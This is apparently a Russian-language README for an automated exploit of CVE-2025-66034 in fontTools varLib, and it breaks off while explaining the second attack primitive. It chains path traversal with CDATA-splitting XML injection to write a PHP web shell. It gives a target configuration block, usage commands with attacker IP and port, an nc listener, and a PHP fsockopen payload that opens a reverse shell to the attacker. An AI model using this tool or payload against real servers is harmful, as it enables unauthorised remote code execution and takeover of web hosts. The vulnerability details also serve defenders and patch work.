Автоматизированный эксплойт для CVE-2025-66034, объединяющий обход пути и XML-инъекцию в fontTools varLib для достижения неавторизованного удаленного выполнения кода через загрузку специально сформированного файла .designspace.
fontTools varLib — Произвольная запись файла + XML-инъекция → Удаленное выполнение кода
CVE-2025-66034 — это уязвимость в конвейере генерации вариативных шрифтов fontTools.varLib. Когда веб-приложение предоставляет доступ к этому конвейеру и принимает пользовательские файлы .designspace, две слабости объединяются для достижения неаутентифицированного удаленного выполнения кода.
font_varlib.py автоматизирует полную цепочку эксплуатации — генерацию шрифта, создание полезной нагрузки, загрузку и доставку обратного шелла.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Пакет | fonttools (pip) |
| Затрагиваемый диапазон | >= 4.33.0, < 4.60.2 |
| Исправлено в | 4.60.2 |
| Серьезность | Умеренная (CVSS 6.3) |
| Вектор атаки | Локальный (требуется загрузка файла на цель) |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Требуется (триггер загрузки) |
| # | Примитив | CWE | Основная причина |
|---|---|---|---|
| 1 | Обход пути | CWE-22 | Атрибут filename в .designspace передается напрямую в os.path.join() без санитизации — абсолютные пути полностью отбрасывают целевой выходной каталог |
| 2 | XML-инъекция | CWE-91 | CDATA-секции <labelname> позволяют использовать разделительную последовательность (]]]]><![CDATA[>) для протаскивания сырого PHP мимо XML-парсера в записываемый выходной файл |
Злоумышленник создаёт вредоносный .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── ОБХОД ПУТИ
│ os.path.join(output_dir, absolute_path)
│ → output_dir отбрасывается → запись в корень веб-сервера
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML-ИНЪЕКЦИЯ
Разделение CDATA внедряет сырой PHP
в двоичный файл выходного шрифта
│
▼
fontTools.varLib.main() обрабатывает файл на стороне сервера
│
▼
shell.php записывается в каталог, доступный через веб
│
▼
GET /files/shell.php → PHP выполняется → обратный вызов шелла
│
▼
RCE как www-data
Python: 3.9+
Зависимости:
pip install fonttools requests
Система:
nc (netcat) — требуется для автоматического режима прослушивания (--no-listen пропускает это)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Перед запуском откройте font_varlib.py и обновите блок конфигурации в начале файла в соответствии с вашей целью. Каждое значение имеет встроенный комментарий, объясняющий, что это такое и как найти правильное значение.
# ══════════════════════════════════════════════════════════════════════════════
# ЗНАЧЕНИЯ ПО УМОЛЧАНИЮ
# Измените их в соответствии с вашей целью перед запуском.
# Все значения также могут быть переопределены во время выполнения с помощью флагов CLI — см. --help.
# ══════════════════════════════════════════════════════════════════════════════
# Базовый URL хоста загрузки (сайт, который принимает .designspace)
UPLOAD_HOST = "http://test.com"
# Путь на хосте загрузки, который обрабатывает multipart POST-запрос
# Подтвердите с помощью Burp — ищите POST после нажатия кнопки генерации
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Абсолютный путь файловой системы на сервере, куда записываются выходные файлы
# Должен быть доступен через веб, чтобы шелл можно было запустить по HTTP
WEBROOT = "/var/www/test.com/public/files"
# Базовый URL для получения/запуска записанного файла шелла
# Соответствует WEBROOT на диске
SHELL_HOST = "http://testing.test.com/files"
# Имена полей multipart формы — подтвердите с помощью Burp перед запуском
# Если загрузка молча завершается ошибкой (HTTP 200, но нет шелла), вероятно, неправильные имена полей
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Префикс имени файла шелла — случайный суффикс добавляется во время выполнения
SHELL_PREFIX = "f0nt_"
# Длина случайного суффикса — длиннее = сложнее угадать
SHELL_SUFFIX_LEN = 8
Совет: Перехватите легитимный запрос на загрузку в Burp Suite, чтобы подтвердить
UPLOAD_ENDPOINTи точные имена multipart полей перед запуском. Несовпадение имен полей приводит к молчаливой ошибке — сервер возвращает HTTP 200, но шелл не записывается.
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port <ПОРТ>
# Терминал 1 — запустите слушатель
nc -lvnp 4444
# Терминал 2 — запустите эксплойт без автоматического слушателя
python3 font_varlib.py --ip <IP_АТАКУЮЩЕГО> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
| Аргумент | Обязателен | По умолчанию | Описание |
|---|---|---|---|
--ip | ✓ | — | IP слушателя атакующего |
--port | ✓ | — | Порт слушателя атакующего |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Конечная точка загрузки (POST) | |
--webroot | WEBROOT | Путь записи на серверной файловой системе (должен быть доступен через веб) | |
--shell | SHELL_HOST | Базовый URL для запуска записанного шелла | |
--no-listen | false | Пропустить автоматический слушатель nc — только триггер |
Программно генерируются два минимальных, но структурно корректных исходных файла .ttf с помощью fontTools.FontBuilder. Для обработки вариативного шрифта varLib требуется как минимум два мастер-эксцентриситета — эти файлы удовлетворяют этому требованию без необходимости наличия реальных файлов шрифтов на диске.
Создается вредоносный XML-файл .designspace, содержащий оба примитива атаки:
Примитив 1 — XML-инъекция через разделение CDATA:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
Последовательность ]]]]><![CDATA[> завершает текущий блок CDATA и немедленно открывает новый. XML-парсер обрабатывает это как корректную разметку, но varLib сериализует содержимое дословно в выходной файл — внедряя сырой PHP в двоичный файл шрифта.
Примитив 2 — Обход пути через атрибут filename: